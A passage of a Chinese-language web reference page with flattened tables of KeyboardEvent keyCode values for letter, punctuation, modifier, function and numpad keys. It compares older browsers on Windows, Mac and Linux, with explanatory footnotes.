+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{{domxref("KeyboardEvent.code")}}Internet Explorer 11Google Chrome 34Chromium 34Safari 7Gecko 29
WindowsWindowsMac (10.9)Linux (Ubuntu 14.04)Mac (10.9)WindowsMac (10.9)Linux (Ubuntu 14.04)
USJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreek
{{domxref("KeyboardEvent.code")}}USJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreek
WindowsWindowsMac (10.9)Linux (Ubuntu 14.04)Mac (10.9)WindowsMac (10.9)Linux (Ubuntu 14.04)
Internet Explorer 11Google Chrome 34Chromium 34Safari 7Gecko 29
"Digit1"0x31 (49)0x31 (49)0x31 (49)0x31 (49)0x31 (49)0x31 (49)0x31 (49)0x31 (49)
"Digit2"0x32 (50)0x32 (50)0x32 (50)0x32 (50)0x32 (50)0x32 (50)0x32 (50)0x32 (50)
"Digit3"0x33 (51)0x33 (51)0x33 (51)0x33 (51)0x33 (51)0x33 (51)0x33 (51)0x33 (51)
"Digit4"0x34 (52)0x34 (52)0x34 (52)0x34 (52)0x34 (52)0x34 (52)0x34 (52)0x34 (52)
"Digit5"0x35 (53)0x35 (53)0x35 (53)0x35 (53)0x35 (53)0x35 (53)0x35 (53)0x35 (53)
"Digit6"0x36 (54)0x36 (54)0x36 (54)0x36 (54)0x36 (54)0x36 (54)0x36 (54)0x36 (54)
"Digit7"0x37 (55)0x37 (55)0x37 (55)0x37 (55)0x37 (55)0x37 (55)0x37 (55)0x37 (55)
"Digit8"0x38 (56)0x38 (56)0x38 (56)0x38 (56)0x38 (56)0x38 (56)0x38 (56)0x38 (56)
"Digit9"0x39 (57)0x39 (57)0x39 (57)0x39 (57)0x39 (57)0x39 (57)0x39 (57)0x39 (57)
"Digit0"0x30 (48)0x30 (48)0x30 (48)0x30 (48)0x30 (48)0x30 (48)0x30 (48)0x30 (48)
"KeyA"0x41 (65)0x41 (65)0x41 (65)0x41 (65)0x41 (65)0x41 (65)0x41 (65)0x41 (65)
"KeyB"0x42 (66)0x42 (66)0x42 (66)0x42 (66)0x42 (66)0x42 (66)0x42 (66)0x42 (66)
"KeyC"0x43 (67)0x43 (67)0x43 (67)0x43 (67)0x43 (67)0x43 (67)0x43 (67)0x43 (67)
"KeyD"0x44 (68)0x44 (68)0x44 (68) 0x44 (68)0x44 (68)0x44 (68)0x44 (68)0x44 (68)
"KeyE"0x45 (69)0x45 (69)0x45 (69)0x45 (69)0x45 (69)0x45 (69)0x45 (69)0x45 (69)
"KeyF"0x46 (70)0x46 (70)0x46 (70)0x46 (70)0x46 (70)0x46 (70)0x46 (70)0x46 (70)
"KeyG"0x47 (71)0x47 (71)0x47 (71)0x47 (71)0x47 (71)0x47 (71)0x47 (71)0x47 (71)
"KeyH"0x48 (72)0x48 (72)0x48 (72)0x48 (72)0x48 (72)0x48 (72)0x48 (72)0x48 (72)
"KeyI"0x49 (73)0x49 (73)0x49 (73)0x49 (73)0x49 (73)0x49 (73)0x49 (73)0x49 (73)
"KeyJ"0x4A (74)0x4A (74)0x4A (74)0x4A (74)0x4A (74)0x4A (74)0x4A (74)0x4A (74)
"KeyK"0x4B (75)0x4B (75)0x4B (75)0x4B (75)0x4B (75)0x4B (75)0x4B (75)0x4B (75)
"KeyL"0x4C (76)0x4C (76)0x4C (76)0x4C (76)0x4C (76)0x4C (76)0x4C (76)0x4C (76)
"KeyM"0x4D (77)0x4D (77)0x4D (77)0x4D (77)0x4D (77)0x4D (77)0x4D (77)0x4D (77)
"KeyN"0x4E (78)0x4E (78)0x4E (78)0x4E (78)0x4E (78)0x4E (78)0x4E (78)0x4E (78)
"KeyO"0x4F (79)0x4F (79)0x4F (79)0x4F (79)0x4F (79)0x4F (79)0x4F (79)0x4F (79)
"KeyP"0x50 (80)0x50 (80)0x50 (80)0x50 (80)0x50 (80)0x50 (80)0x50 (80)0x50 (80)
"KeyQ"0x51 (81)0x51 (81)0x51 (81)0x51 (81)0xBA (186)0x51 (81)0x51 (81)0xBA (186)0x51 (81)0x51 (81)0xBA (186)0x51 (81)0x51 (81)0x51 (81)0xBA (186)0x51 (81)
"KeyR"0x52 (82)0x52 (82)0x52 (82)0x52 (82)0x52 (82)0x52 (82)0x52 (82)0x52 (82)
"KeyS"0x53 (83)0x53 (83)0x53 (83)0x53 (83)0x53 (83)0x53 (83)0x53 (83)0x53 (83)
"KeyT"0x54 (84)0x54 (84)0x54 (84)0x54 (84)0x54 (84)0x54 (84)0x54 (84)0x54 (84)
"KeyU"0x55 (85)0x55 (85)0x55 (85)0x55 (85)0x55 (85)0x55 (85)0x55 (85)0x55 (85)
"KeyV"0x56 (86)0x56 (86)0x56 (86)0x56 (86)0x56 (86)0x56 (86)0x56 (86)0x56 (86)
"KeyW"0x57 (87)0x57 (87)0x57 (87)0x57 (87)0x57 (87)0x57 (87)0x57 (87)0x57 (87)
"KeyX"0x58 (88)0x58 (88)0x58 (88)0x58 (88)0x58 (88)0x58 (88)0x58 (88)0x58 (88)
"KeyY"0x59 (89)0x59 (89)0x59 (89)0x59 (89)0x59 (89)0x59 (89)0x59 (89)0x59 (89)
"KeyZ"0x5A (90)0x5A (90)0x5A (90)0x5A (90)0x5A (90)0x5A (90)0x5A (90)0x5A (90)
+ +

由标准位置的可打印键(US布局中的标点符号)引起的每个浏览器的keydown事件的keycode值:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{{domxref("KeyboardEvent.code")}}Internet Explorer 11Google Chrome 34Chromium 34Safari 7Gecko 29
WindowsWindowsMac (10.9)Linux (Ubuntu 14.04)Mac (10.9)Windows (10.9)Mac (10.9)Linux (Ubuntu 14.04)
USJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreek
{{domxref("KeyboardEvent.code")}}USJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreekUSJapaneseGreek
WindowsWindowsMac (10.9)Linux (Ubuntu 14.04)Mac (10.9)WindowsMac (10.9)Linux (Ubuntu 14.04)
Internet Explorer 11Google Chrome 34Chromium 34Safari 7Gecko 29
"Comma"0xBC (188)0xBC (188)0xBC (188)0xBC (188)0xBC (188)0xBC (188)0xBC (188)0xBC (188)
"Comma" with Shift
"Period"0xBE (190)0xBE (190)0xBE (190)0xBE (190)0xBE (190)0xBE (190)0xBE (190)0xBE (190)
"Period" with Shift
"Semicolon"0xBA (186)0xBB (187)0xBA (186)0xBA (186)0xBB (187)0xBA (186)0xBA (186)0xBA (186) *10xE5 (229) *20xBA (186)0xBA (186)0xE5 (229) *30xBA (186)0xBA (186) *10xE5 (229) *20x3B (59)0x3B (59)0x00 (0)0x3B (59)0x3B (59) *10x00 (0)0x3B (59)0x3B (59)0x00 (0)
"Semicolon" with Shift0xBB (187) *10xBB (187)0xBB (187) *1
"Quote"0xDE (222)0xBA (186)0xDE (222)0xDE (222)0xBA (186)0xDE (222)0xDE (222)0xBA (186) *10xDE (222)0xDE (222)0xBA (186)0xDE (222)0xDE (222)0xBA (186)  *10xDE (222)0xDE (222)0x3A (58)0xDE (222)0xDE (222)0x3A (58) *10xDE (222)0xDE (222)0x3A (58)0xDE (222)
"Quote" with Shift0xDE (222) *10x38 (56)0xDE (222) *1
"BracketLeft"0xDB (219)0xC0(192)0xDB (219)0xDB (219)0xC0(192)0xDB (219)0xDB (219)0xDB (219) *10xDB (219)0xDB (219)0x32 (50)0xDB (219)0xDB (219)0xDB (219) *1 0xDB (219)0xDB (219)0x40 (64)0xDB (219)0xDB (219)0x40 (64) *10xDB (219)0xDB (219)0x40 (64)0xDB (219)
"BracketLeft" with Shift0xC0 (192) *10xC0 (192)0xC0 (192) *1
"BracketRight"0xDD (221)0xDB (219)0xDD (221)0xDD (221)0xDB (219)0xDD (221)0xDD (221)0xDB (219) *10xDD (221)0xDD (221)0xDB (219)0xDD (221)0xDD (221)0xDB (219) *10xDD (221)0xDD (221)0xDB (219)0xDD (221)0xDD (221)0xDB (219) *10xDD (221)0xDD (221)0xDB (219)0xDD (221)
"BracketRight" with Shift
"Backquote"0xC0 (192)N/A0xC0 (192)0xC0 (192)N/A0xC0 (192)0xC0 (192)0xC0 (192)0xF4 (244)0xC0 (192)0xC0 (192)0xC0 (192)N/A0xC0 (192)0xC0 (192)0xC0 (192)0x00 (0)0xC0 (192)
"Backquote" with Shift
"Backslash"0xDC (220)0xDD (221)0xDC (220)0xDC (220)0xDD (221)0xDC (220)0xDC (220)0xDC (220)0xDD (221)0xDC (220)0xDC (220)0xDC (220)0xDD (221)0xDC (220)0xDC (220)0xDC (220)0xDD (221)0xDC (220)
"Backslash" with Shift
"Minus"0xBD (189)0xBD (189)0xBD (189)0xBD (189) *10xBD (189)0xBD (189)0xBD (189)0xBD (189)0xBD (189)0xBD (189) *10xBD (189)0xAD (173)0xAD (173)0xAD (173) *10xAD (173)0xAD (173)
"Minus" with Shift0xBB (187) *10xBB (187)0xBD (189)0xBB (187) *10xBD (189)
"Equal"0xBB (187)0xDE (222)0xBB (187)0xBB (187)0xDE (222)0xBB (187)0xBB (187)0xBB (187) *10xBB (187)0xBB (187)0x36 (54)0xBB (187)0xBB (187)0xBB (187) *10xBB (187)0x3D (61)0xA0 (160)0x3D (61)0x3D (61)0xA0 (160) *10x3D (61)0x3D (61)0xA0 (160)0x3D (61)
"Equal" with Shift0xC0 (192) *10xC0 (192)0xBB (187)0xC0 (192) *10xBB (187)
"IntlRo"0xC1 (193)0xE2 (226)0xC1 (193)0xC1 (193)0xE2 (226)0xC1 (193)0xBD (189)0xBD (189)0x00 (0)*40xDC (220)
+  
*40xBD (189)0xBD (189)0xE5 (229) *50x00 (0)0xDC (220)0x00 (0)0xA7 (167)0xA7 (167)0x00 (0)0x00 (0)0xDC (220)0x00 (0)
"IntlRo" with Shift
"IntlYen"0xFF (255)0xDC (220)0xFF (255)0xFF (255)0xDC (220)0xFF (255)0x00 (0)0x00 (0)0x00 (0)*40xDC (220)*40x00 (0)0x00 (0)0xE5 (229) *50x00 (0)0xDC (220)0x00 (0)0xDC (220)0xDC (220)0x00 (0)0x00 (0)0xDC (220)0x00 (0)
"IntlYen" with Shift0xDC (220)0xDC (220)0xBD (189)0xDC (220)0xDC (220)
+ +

*1该值是从JIS键盘输入的。使用ANSI键盘时,键代码值和输入字符是从美国键盘布局中选择的。
+ *2按键是一个死键。keyup事件的值是0xba(186)。
+ *3按键是一个死键。keyup事件的值为0x10(16)。
+ *4没有触发任何按键事件。
+ *5该键在希腊键盘布局中不可用(不输入任何字符)。keyup事件的值为0x00(0)。

+ +

不可打印键(功能键)

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
由修改键引起的每个浏览器的keydown事件的keycode值:
{{domxref("KeyboardEvent.code")}}Internet Explorer 11Google Chrome 34Chromium 34Safari 7Gecko 29
WindowsWindowsMac (10.9)Linux (Ubuntu 14.04)Mac (10.9)WindowsMac (10.9)Linux (Ubuntu 14.04)
{{domxref("KeyboardEvent.code")}}WindowsWindowsMac (10.9)Linux (Ubuntu 14.04)Mac (10.9)WindowsMac (10.9)Linux (Ubuntu 14.04)
Internet Explorer 11Google Chrome 34Chromium 34Safari 7Gecko 29
"AltLeft"0x12 (18)0x12 (18)0x12 (18)0x12 (18)0x12 (18)0x12 (18)0x12 (18)0x12 (18)
"AltRight"0x12 (18)0x12 (18)0x12 (18)0x12 (18)0x12 (18)0x12 (18)0x12 (18)0x12 (18)
"AltRight" when it's "AltGraph" key*1*1N/A0xE1 (225)N/A*1N/A0xE1 (225)
"CapsLock"0x14 (20) *20x14 (20) *20x14 (20)0x14 (20)0x14 (20)0x14 (20) *20x14 (20)0x14 (20) *3
"ControlLeft"0x11 (17)0x11 (17)0x11 (17)0x11 (17)0x11 (17)0x11 (17)0x11 (17)0x11 (17)
"ControlRight"0x11 (17)0x11 (17)0x11 (17)0x11 (17)0x11 (17)0x11 (17)0x11 (17)0x11 (17)
"OSLeft"0x5B (91)0x5B (91)0x5B (91)0x5B (91)0x5B (91)0x5B (91)0xE0 (224)0x5B (91)
"OSRight"0x5C (92)0x5C (92)0x5D (93)0x5C (92)0x5D (93)0x5B (91)0xE0 (224)0x5B (91)
"ShiftLeft"0x10 (16)0x10 (16)0x10 (16)0x10 (16)0x10 (16)0x10 (16)0x10 (16)0x10 (16)
"ShiftRight"0x10 (16)0x10 (16)0x10 (16)0x10 (16)0x10 (16)0x10 (16)0x10 (16)0x10 (16)
+ +

*1在Windows上,“altgraph”键导致“controlLeft”键事件和“altRight”键事件。
+ *2当日语键盘布局处于活动状态时,“capslock”键没有 Shift 会导致0xf0(240)。该键作为“Alphanumeric”键工作,其标签为“英数”。
+ *3当日语键盘布局处于活动状态时,“capslock”键没有 Shift 会导致0x00(0)。该键作为“Alphanumeric”键工作,其标签为“英数”。

+ +

由不可打印的键引起的每个浏览器的keydown事件的keycode值:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{{domxref("KeyboardEvent.code")}}Internet Explorer 11Google Chrome 34Chromium 34Safari 7Gecko 29
WindowsWindowsMac (10.9)Linux (Ubuntu 14.04)Mac (10.9)WindowsMac (10.9)Linux (Ubuntu 14.04)
{{domxref("KeyboardEvent.code")}}WindowsWindowsMac (10.9)Linux (Ubuntu 14.04)Mac (10.9)WindowsMac (10.9)Linux (Ubuntu 14.04)
Internet Explorer 11Google Chrome 34Chromium 34Safari 7Gecko 29
"ContextMenu"0x5D (93)0x5D (93)0x00 (0) *10x5D (93)0x00 (0) *10x5D (93)0x5D (93)0x5D (93)
"Enter"0x0D (13)0x0D (13)0x0D (13)0x0D (13)0x0D (13)0x0D (13)0x0D (13)0x0D (13)
"Space"0x20 (32)0x20 (32)0x20 (32)0x20 (32)0x20 (32)0x20 (32)0x20 (32)0x20 (32)
"Tab"0x09 (9)0x09 (9)0x09 (9)0x09 (9)0x09 (9)0x09 (9)0x09 (9)0x09 (9)
"Delete"0x2E (46)0x2E (46)0x2E (46)0x2E (46)0x2E (46)0x2E (46)0x2E (46)0x2E (46)
"End"0x23 (35)0x23 (35)0x23 (35)0x23 (35)0x23 (35)0x23 (35)0x23 (35)0x23 (35)
"Help"N/AN/A0x2D (45) *20x2F (47) *30x2D (45) *2N/A0x2D (45) *20x06 (6) *3
"Home"0x24 (36)0x24 (36)0x24 (36)0x24 (36)0x24 (36)0x24 (36)0x24 (36)0x24 (36)
"Insert"0x2D (45)0x2D (45)0x2D (45)0x2D (45)0x2D (45)0x2D (45)0x2D (45)0x2D (45)
"PageDown"0x22 (34)0x22 (34)0x22 (34)0x22 (34)0x22 (34)0x22 (34)0x22 (34)0x22 (34)
"PageUp"0x21 (33)0x21 (33)0x21 (33)0x21 (33)0x21 (33)0x21 (33)0x21 (33)0x21 (33)
"ArrowDown"0x28 (40)0x28 (40)0x28 (40)0x28 (40)0x28 (40)0x28 (40)0x28 (40)0x28 (40)
"ArrowLeft"0x25 (37)0x25 (37)0x25 (37)0x25 (37)0x25 (37)0x25 (37)0x25 (37)0x25 (37)
"ArrowRight"0x27 (39)0x27 (39)0x27 (39)0x27 (39)0x27 (39)0x27 (39)0x27 (39)0x27 (39)
"ArrowUp"0x26 (38)0x26 (38)0x26 (38)0x26 (38)0x26 (38)0x26 (38)0x26 (38)0x26 (38)
"Escape"0x1B (27)0x1B (27)0x1B (27)0x1B (27)0x1B (27)0x1B (27)0x1B (27)0x1B (27)
"PrintScreen"0x2C (44) *40x2C (44) *40x7C (124)*50x2A (42)0x7C (124)*50x2C (44) *40x2C (44)0x2A (42)
"ScrollLock"0x91 (145)0x91 (145)0x7D (125)*50x91 (145)0x7D (125)*50x91 (145)0x91 (145)0x91 (145)
"Pause"0x13 (19) *60x13 (19) *60x7E (126)*50x13 (19)0x7E (126)*50x13 (19) *60x13 (19)0x13 (19)
+ +

*1 keypress事件被激发,其keypcode和charcode为0x10(16),但文本未输入编辑器。
+ *2在Mac电脑上,“Help”键映射到电脑键盘的“Insert”键。这些keyCode 值与“Insert”键的keyCode值相同。
+ *3在Fedora 20上测试。
+ *4仅激发keyup事件。
+ *5 PC的“PrintScreen”、“ScrollLock”和“Pause”映射到Mac的“F13”、“F14”和“F15”。Chrome和Safari用Mac的键映射相同的keyCode值。
+ *6“Pause”键加上 Control 导致0x03(3)。

+ +

由功能键引起的每个浏览器的keydown事件的keycode值:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{{domxref("KeyboardEvent.code")}}Internet Explorer 11Google Chrome 34Chromium 34Safari 7Gecko 29
WindowsWindowsMac (10.9)Linux (Ubuntu 14.04)Mac (10.9)WindowsMac (10.9)Linux (Ubuntu 14.04)
{{domxref("KeyboardEvent.code")}}WindowsWindowsMac (10.9)Linux (Ubuntu 14.04)Mac (10.9)WindowsMac (10.9)Linux (Ubuntu 14.04)
Internet Explorer 11Google Chrome 34Chromium 34Safari 7Gecko 29
"F1"0x70 (112)0x70 (112)0x70 (112)0x70 (112)0x70 (112)0x70 (112)0x70 (112)0x70 (112)
"F2"0x71 (113)0x71 (113)0x71 (113)0x71 (113)0x71 (113)0x71 (113)0x71 (113)0x71 (113)
"F3"0x72 (114)0x72 (114)0x72 (114)0x72 (114)0x72 (114)0x72 (114)0x72 (114)0x72 (114)
"F4"0x73 (115)0x73 (115)0x73 (115)0x73 (115)0x73 (115)0x73 (115)0x73 (115)0x73 (115)
"F5"0x74 (116)0x74 (116)0x74 (116)0x74 (116)0x74 (116)0x74 (116)0x74 (116)0x74 (116)
"F6"0x75 (117)0x75 (117)0x75 (117)0x75 (117)0x75 (117)0x75 (117)0x75 (117)0x75 (117)
"F7"0x76 (118)0x76 (118)0x76 (118)0x76 (118)0x76 (118)0x76 (118)0x76 (118)0x76 (118)
"F8"0x77 (119)0x77 (119)0x77 (119)0x77 (119)0x77 (119)0x77 (119)0x77 (119)0x77 (119)
"F9"0x78 (120)0x78 (120)0x78 (120)0x78 (120)0x78 (120)0x78 (120)0x78 (120)0x78 (120)
"F10"0x79 (121)0x79 (121)0x79 (121)0x79 (121)0x79 (121)0x79 (121)0x79 (121)0x79 (121)
"F11"0x7A (122)0x7A (122)0x7A (122)0x7A (122)0x7A (122)0x7A (122)0x7A (122)0x7A (122)
"F12"0x7B (123)0x7B (123)0x7B (123)0x7B (123)0x7B (123)0x7B (123)0x7B (123)0x7B (123)
"F13"0x7C (124)0x7C (124)0x7C (124)0x7C (124) *10x7C (124)0x7C (124)0x2C (44) *20x00 (0) *3
"F14"0x7D (125)0x7D (125)0x7D (125)0x7D (125) *10x7D (125)0x7D (125)0x91 (145) *20x00 (0) *3
"F15"0x7E (126)0x7E (126)0x7E (126)0x7E (126) *10x7E (126)0x7E (126)0x13 (19) *20x00 (0) *3
"F16"0x7F (127)0x7F (127)0x7F (127)0x7F (127) *10x7F (127)0x7F (127)0x7F (127)0x00 (0) *3
"F17"0x80 (128)0x80 (128)0x80 (128)0x80 (128) *10x80 (128)0x80 (128)0x80 (128)0x00 (0) *3
"F18"0x81 (129)0x81 (129)0x81 (129)0x81 (129) *10x81 (129)0x81 (129)0x81 (129)0x00 (0) *3
"F19"0x82 (130)0x82 (130)0x82 (130)N/A *40x82 (130)0x82 (130)0x82 (130)0x00 (0) *3
"F20"0x83 (131)0x83 (131)0x83 (131)N/A *40xE5 (229) *50x83 (131)0x00 (0)N/A *6
"F21"0x84 (132)0x84 (132)0x00 (0) *7N/A *40x00 (0) *70x84 (132)N/A *8N/A *6
"F22"0x85 (133)0x85 (133)0x00 (0) *7N/A *40x00 (0) *70x85 (133)N/A *8N/A *6
"F23"0x86 (134)0x86 (134)0x00 (0) *7N/A *40x00 (0) *70x86 (134)N/A *8N/A *6
"F24"0x87 (135)0x87 (135)0x00 (0) *7N/A *40x00 (0) *70x87 (135)N/A *80x00 (0) *3
+ +

*1在Fedora 20上测试。
+ *2 PC的“PrintScreen”、“ScrollLock”和“Pause”映射到Mac的“F13”、“F14”和“F15”。火狐映射到和PC相同的keyCode
+ *3在Fedora 20上测试。这些键不会导致GDK_Fxx 按键符号。如果键产生正确的按键符号,这些值必须与IE相同。
+ *4在Fedora 20上测试。这些键不会在chromium上引起dom键事件。
+ *5 keyup事件的keycode值为0x83(131)。
+ *6在Fedora 20上测试。这些密钥不会在Firefox上引起DOM密钥事件。
+ *7仅激发keydown事件。
+ *8在Firefox上不会触发任何DOM密钥事件。

+ +

小键盘键

+ +

由numPad中的键在numLock状态下导致的每个浏览器的keyDown事件的keycode值

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{{domxref("KeyboardEvent.code")}}Internet Explorer 11Google Chrome 34Chromium 34Safari 7Gecko 29
WindowsWindowsMac (10.9)Linux (Ubuntu 14.04)Mac (10.9)WindowsMac (10.9)Linux (Ubuntu 14.04)
{{domxref("KeyboardEvent.code")}}WindowsWindowsMac (10.9)Linux (Ubuntu 14.04)Mac (10.9)WindowsMac (10.9)Linux (Ubuntu 14.04)
Internet Explorer 11Google Chrome 34Chromium 34Safari 7Gecko 29
"NumLock"0x90 (144)0x90 (144)0x0C (12) *10x90 (144)0x0C (12) *10x90 (144)0x0C (12) *10x90 (144)
"Numpad0"0x60 (96)0x60 (96)0x60 (96)0x60 (96)0x60 (96)0x60 (96)0x60 (96)0x60 (96)
"Numpad1"0x61 (97)0x61 (97)0x61 (97)0x61 (97)0x61 (97)0x61 (97)0x61 (97)0x61 (97)
"Numpad2"0x62 (98)0x62 (98)0x62 (98)0x62 (98)0x62 (98)0x62 (98)0x62 (98)0x62 (98)
"Numpad3"0x63 (99)0x63 (99)0x63 (99)0x63 (99)0x63 (99)0x63 (99)0x63 (99)0x63 (99)
"Numpad4"0x64 (100)0x64 (100)0x64 (100)0x64 (100)0x64 (100)0x64 (100)0x64 (100)0x64 (100)
"Numpad5"0x65 (101)0x65 (101)0x65 (101)0x65 (101)0x65 (101)0x65 (101)0x65 (101)0x65 (101)
"Numpad6"0x66 (102)0x66 (102)0x66 (102)0x66 (102)0x66 (102)0x66 (102)0x66 (102)0x66 (102)
"Numpad7"0x67 (103)0x67 (103)0x67 (103)0x67 (103)0x67 (103)0x67 (103)0x67 (103)0x67 (103)
"Numpad8"0x68 (104)0x68 (104)0x68 (104)0x68 (104)0x68 (104)0x68 (104)0x68 (104)0x68 (104)
"Numpad9"0x69 (105)0x69 (105)0x69 (105)0x69 (105)0x69 (105)0x69 (105)0x69 (105)0x69 (105)
"NumpadAdd"0x6B (107)0x6B (107)0x6B (107)0x6B (107)0x6B (107)0x6B (107)0x6B (107)0x6B (107)
"NumpadComma" inputting ","0xC2 (194)0xC2 (194)0xBC (188)Always inputs "."0xBC (188)0xC2 (194)0x6C (108)Always inputs "."
"NumpadComma" inputting "." or empty string0xC2 (194)0xC2 (194)0xBE (190)0x6E (110)0xBE (190)0xC2 (194)0x6C (108)0x6E (110)
"NumpadDecimal" inputting "."0x6E (110)0x6E (110)0x6E (110)0x6E (110)0x6E (110)0x6E (110)0x6E (110)0x6E (110)
"NumpadDecimal" inputting ","0x6E (110)0x6E (110)0x6E (110)0x6C (108)0x6E (110)0x6E (110)0x6E (110)0x6C (108)
"NumpadDivide"0x6F (111)0x6F (111)0x6F (111)0x6F (111)0x6F (111)0x6F (111)0x6F (111)0x6F (111)
"NumpadEnter"0x0D (13)0x0D (13)0x0D (13)0x0D (13)0x0D (13)0x0D (13)0x0D (13)0x0D (13)
"NumpadEqual"0x0C (12)0x0C (12)0xBB (187)0xBB (187)0xBB (187)0x0C (12)0x3D (61)0x3D (61)
"NumpadMultiply"0x6A (106)0x6A (106)0x6A (106)0x6A (106)0x6A (106)0x6A (106)0x6A (106)0x6A (106)
"NumpadSubtract"0x6D (109)0x6D (109)0x6D (109)0x6D (109)0x6D (109)0x6D (109)0x6D (109)0x6D (109)
+ +

*1“numlock”键在Mac上作为“clear”键工作。

+ +

由处于无numlock状态的numpad中的键引起的每个浏览器的keydown事件的keycode值

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{{domxref("KeyboardEvent.code")}}Internet Explorer 11Google Chrome 34Chromium 34Gecko 29
WindowsWindowsLinux (Ubuntu 14.04)WindowsLinux (Ubuntu 14.04)
{{domxref("KeyboardEvent.code")}}WindowsWindowsLinux (Ubuntu 14.04)WindowsLinux (Ubuntu 14.04)
Internet Explorer 11Google Chrome 34Chromium 34Gecko 29
"Numpad0" ("Insert")0x2D (45)0x2D (45)0x2D (45)0x2D (45)0x2D (45)
"Numpad1" ("End")0x23 (35)0x23 (35)0x23 (35)0x23 (35)0x23 (35)
"Numpad2" ("ArrowDown")0x28 (40)0x28 (40)0x28 (40)0x28 (40)0x28 (40)
"Numpad3" ("PageDown")0x22 (34)0x22 (34)0x22 (34)0x22 (34)0x22 (34)
"Numpad4" ("ArrowLeft")0x25 (37)0x25 (37)0x25 (37)0x25 (37)0x25 (37)
"Numpad5"0x0C (12)0x0C (12)0x0C (12)0x0C (12)0x0C (12)
"Numpad6" ("ArrowRight")0x27 (39)0x27 (39)0x27 (39)0x27 (39)0x27 (39)
"Numpad7" ("Home")0x24 (36)0x24 (36)0x24 (36)0x24 (36)0x24 (36)
"Numpad8" ("ArrowUp")0x26 (38)0x26 (38)0x26 (38)0x26 (38)0x26 (38)
"Numpad9" ("PageUp")0x21 (33)0x21 (33)0x21 (33)0x21 (33)0x21 (33)
"NumpadDecimal" ("Delete")0x2E (46)0x2E (46)0x2E (46)0x2E (46)0x2E (46)
+ +

*最近的Mac没有“numlock”键和状态。因此,未锁定状态不可用。

+ +

常数值的键码

+ +

gecko在keyboardvent中定义了许多keycode值,用于显式地生成映射表。这些值对Firefox的附加开发人员很有用,但在公共网页中却没有那么有用。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 